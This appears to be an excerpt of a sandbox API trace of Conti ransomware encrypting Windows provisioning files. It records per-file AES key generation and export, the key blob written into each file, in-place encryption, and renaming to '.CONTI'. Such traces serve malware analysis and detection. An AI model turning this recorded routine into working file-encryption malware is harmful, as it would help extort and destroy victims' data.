	[0113.450] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.450] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.450] GetProcessHeap () returned 0x1720000
	[0113.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.450] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.450] GetProcessHeap () returned 0x1720000
	[0113.450] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccdb8 | out: hHeap=0x1720000) returned 1
	[0113.450] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.450] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65bde60 | out: phKey=0x65bde60*=0x17c7830) returned 1
	[0113.450] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bde64, pdwDataLen=0x3bbfde4 | out: pbData=0x65bde64*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.451] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.453] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.453] GetLastError () returned 0x0
	[0113.453] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=852) returned 1
	[0113.453] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x354
	[0113.453] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.454] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.454] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.454] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.454] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bde64*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65bde64*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.459] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.459] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x354, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x354, lpOverlapped=0x0) returned 1
	[0113.459] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x354, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x360) returned 1
	[0113.459] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.459] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x360, lpOverlapped=0x0) returned 1
	[0113.460] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.460] WriteFile (in: hFile=0x3f0, lpBuffer=0x65bde58*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65bde58*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0113.460] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.460] CloseHandle (hObject=0x3f0) returned 1
	[0113.460] GetProcessHeap () returned 0x1720000
	[0113.460] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.460] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml"
	[0113.460] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.460] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\613__connections_cellular_truphone (united kingdom)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.461] GetProcessHeap () returned 0x1720000
	[0113.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.461] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.461] GetProcessHeap () returned 0x1720000
	[0113.461] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b9370 | out: hHeap=0x1720000) returned 1
	[0113.461] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.461] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65c0c00 | out: phKey=0x65c0c00*=0x17c7bb0) returned 1
	[0113.461] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c0c04, pdwDataLen=0x3bbfde4 | out: pbData=0x65c0c04*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.462] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.462] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.462] GetLastError () returned 0x0
	[0113.462] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=851) returned 1
	[0113.462] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0113.462] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.462] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.463] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.463] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.463] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c0c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65c0c04*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.466] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.466] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x353, lpOverlapped=0x0) returned 1
	[0113.466] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x353, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x360) returned 1
	[0113.466] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.466] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x360, lpOverlapped=0x0) returned 1
	[0113.466] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.466] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c0bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65c0bf8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0113.466] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.466] CloseHandle (hObject=0x3f0) returned 1
	[0113.467] GetProcessHeap () returned 0x1720000
	[0113.467] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.467] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml"
	[0113.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.467] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\615__connections_cellular_truphone (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.471] GetProcessHeap () returned 0x1720000
	[0113.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.471] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0113.471] GetProcessHeap () returned 0x1720000
	[0113.471] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b8b60 | out: hHeap=0x1720000) returned 1
	[0113.471] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.471] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65c2518 | out: phKey=0x65c2518*=0x17c7830) returned 1
	[0113.471] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c251c, pdwDataLen=0x3bbfde4 | out: pbData=0x65c251c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.472] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.472] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.472] GetLastError () returned 0x0
	[0113.472] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=459) returned 1
	[0113.472] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.472] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.472] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.478] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.478] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.478] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c251c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65c251c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.485] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.485] ReadFile (in: hFile=0x3f0, lpBuffer=0x9880000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.485] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1cb, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x1d0) returned 1
	[0113.485] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.485] WriteFile (in: hFile=0x3f0, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.485] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.485] WriteFile (in: hFile=0x3f0, lpBuffer=0x65c2510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65c2510*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0113.486] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.486] CloseHandle (hObject=0x3f0) returned 1
	[0113.486] GetProcessHeap () returned 0x1720000
	[0113.486] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.486] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.486] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.486] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\616__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.486] GetProcessHeap () returned 0x1720000
	[0113.486] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.487] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.487] GetProcessHeap () returned 0x1720000
	[0113.487] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ce0f0 | out: hHeap=0x1720000) returned 1
	[0113.487] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0113.487] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65c2bf0 | out: phKey=0x65c2bf0*=0x17c7cf0) returned 1
	[0113.487] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c2bf4, pdwDataLen=0x3bbfde4 | out: pbData=0x65c2bf4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0113.487] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.488] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\619__connections_cellular_truphone (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0113.488] GetLastError () returned 0x0
	[0113.488] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=851) returned 1
	[0113.488] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0113.488] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.488] SetEndOfFile (hFile=0x3f0) returned 1
	[0113.488] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.488] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
